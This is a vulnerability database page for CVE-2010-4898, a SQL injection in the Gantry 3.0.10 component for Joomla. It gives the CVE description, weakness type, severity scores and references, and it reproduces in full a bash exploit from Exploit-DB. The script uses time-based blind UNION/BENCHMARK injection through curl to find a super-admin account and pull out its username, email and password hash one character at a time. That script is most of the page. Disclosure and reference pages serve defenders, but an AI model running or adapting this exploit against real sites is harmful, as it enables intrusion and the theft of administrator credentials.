CVE-2010-4898 : Detail

CVE-2010-4898

SQL Injection
A03-Injection
0.13%V3
Network
2011-10-08
10h00 +00:00
2024-09-16
17h38 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the Gantry (com_gantry) component 3.0.10 for Joomla! allows remote attackers to execute arbitrary SQL commands via the moduleid parameter to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 14911

Publication date : 2010-09-04 22h00 +00:00
Author : jdc
EDB Verified : No

#!/bin/bash # Exploit Title: Gantry Framework 3.0.10 (Joomla) Blind SQL Injection Exploit # Date: 4 September 2010 # Author: jdc # Software Link: http://www.gantry-framework.org # Version: 3.0.10 # Patched: 3.0.11 if [ "$1" == "" ] then echo "$0 usage: $0 url [debug]" echo "" exit 1 fi clear echo "##############################################################" echo "## Gantry Framework 3.0.10 Blind SQL Injection Exploit ##" echo "##############################################################" echo "" echo " Probing target $1 ..." echo "" GANTRY_PATH="$1/index.php" GANTRY_TIMEOUT="5" GANTRY_DELAY="10" GANTRY_AGENT='Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)' GANTRY_DATA="option=com_gantry&tmpl=gantry-ajax&model=module&moduleid=" GANTRY_BENCHMARK="10000000" GANTRY_ADMIN_ID="" GANTRY_OUTPUT="" GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" GANTRY_TEST=`curl -s -A "$GANTRY_AGENT" -d "$GANTRY_DATA$GANTRY_EXPLOIT" "$GANTRY_PATH"` GANTRY_REQUESTS="1" if [ "Direct access not allowed." != "$GANTRY_TEST" ] then echo $GANTRY_TEST echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Site not vulnerable. Bailing! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo -n " Trying to get a super admin id... " for N in `seq 62 9999` do GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$N),BENCHMARK($GANTRY_BENCHMARK,MD5(1)),16)" GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w '%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d "$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`" GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc` if [ "" != "$2" ] then printf "$N" echo " $GANTRY_TIME" fi if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ] then GANTRY_ADMIN_ID="$N" break fi sleep $GANTRY_DELAY done if [ "" == $GANTRY_ADMIN_ID ] then echo "FAILED!" echo "" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Injection FAILED! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo $GANTRY_ADMIN_ID echo " Fetching admin info (this WILL take a while)... " echo "" echo -n " > " for I in `seq 1 250` do GANTRY_LENGTH=`echo "$GANTRY_OUTPUT" | wc -c` GANTRY_CONTINUE=0 #a,d,m,i,n,b-c,e-h,j-l,o-z,A-Z,0-9,special chars for J in `seq 97 97;seq 100 100;seq 109 109;seq 105 105;seq 110 110;seq 98 99;seq 101 104;seq 106 108;seq 111 122;seq 65 90;seq 48 57;seq 32 47;seq 58 64;seq 91 96;seq 123 126` do if [ 1 == $GANTRY_CONTINUE ] then continue fi sleep $GANTRY_DELAY GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$GANTRY_ADMIN_ID%20AND%20ASCII(SUBSTRING(CONCAT(username,0x3a,email,0x3a,password),$I,1))=$J),BENCHMARK(10000000,MD5(1)),16)" GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w '%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d "$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`" GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc` if [ "" != "$2" ] then printf "\x$(printf %x $J)" echo " $GANTRY_TIME" fi if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ] then LETTER=`printf "\x$(printf %x $J)"` GANTRY_OUTPUT="$GANTRY_OUTPUT$LETTER" GANTRY_CONTINUE=1 if [ "" == "$2" ] then echo -n "$LETTER" fi fi done GANTRY_LENGTH2=`echo "$GANTRY_OUTPUT" | wc -c` if [ "$GANTRY_LENGTH" == "$GANTRY_LENGTH2" ] then break fi done echo "" if [ "$GANTRY_OUTPUT" == "" ] then echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Injection FAILED! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo "" echo "$GANTRY_OUTPUT" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 0

Products Mentioned

Configuraton 0

Gantry-framework>>Com_gantry >> Version 3.0.10

    Joomla>>Joomla\! >> Version *

    References

    http://www.securityfocus.com/bid/43017
    Tags : vdb-entry, x_refsource_BID
    http://osvdb.org/67825
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.exploit-db.com/exploits/14911
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://secunia.com/advisories/41300
    Tags : third-party-advisory, x_refsource_SECUNIA